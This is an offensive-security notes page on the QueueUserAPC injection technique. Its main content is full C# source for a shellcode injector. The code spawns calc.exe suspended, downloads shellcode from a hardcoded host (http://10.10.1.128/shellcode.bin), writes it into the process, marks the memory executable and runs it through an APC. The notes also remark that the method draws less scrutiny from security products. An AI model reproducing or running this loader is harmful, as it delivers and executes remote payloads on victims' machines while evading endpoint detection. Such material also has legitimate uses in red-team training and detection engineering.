6.5 KiB
6.5 KiB
QueueUserAPC
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
- Spawn a process in a suspended state, queue the APC on the primary thread and resume.
or
- Enumerate threads of an existing process and queue the APC on one of them.
- Wait for that thread to enter an alerted state, or
- Force that thread to enter an alerted state.
First option is more straight forward.
QueueUserAPC.cs
using System;
using System.ComponentModel;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
namespace QueueUserAPC
{
internal class Program
{
static async Task Main(string[] args)
{
var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);
var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);
var pi = new Win32.PROCESS_INFORMATION();
var success = Win32.CreateProcessW(
"C:\\Windows\\System32\\calc.exe",
null,
ref ta,
ref pa,
false,
0x00000004, // CREATE_SUSPENDED
IntPtr.Zero,
"C:\\Windows\\System32",
ref si,
out pi);
// If we failed to spawn the process, just bail
if (!success)
throw new Win32Exception(Marshal.GetLastWin32Error());
// gather shellcode
byte[] shellcode;
var addr = "http://10.10.1.128/shellcode.bin";
using (var client = new HttpClient())
shellcode = await client.GetByteArrayAsync(addr);
// Allocate mem
var baseAddress = Win32.VirtualAllocEx(
pi.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
Win32.MemoryProtection.ReadWrite);
// Write shellcode, discard
Win32.WriteProcessMemory(
pi.hProcess,
baseAddress,
shellcode,
shellcode.Length,
out _);
// Flip mem protection, discard
Win32.VirtualProtectEx(
pi.hProcess,
baseAddress,
(uint)shellcode.Length,
Win32.MemoryProtection.ExecuteRead,
out _);
// Queue the APC, discard
Win32.QueueUserAPC(
baseAddress,
pi.hThread,
0);
// Resume thread
Win32.ResumeThread(pi.hThread);
}
}
}
Win32.cs
using System;
using System.Runtime.InteropServices;
namespace QueueUserAPC
{
internal class Win32
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CreateProcessW(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint QueueUserAPC(
IntPtr pfnAPC,
IntPtr hThread,
uint dwData);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(
IntPtr hThread);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}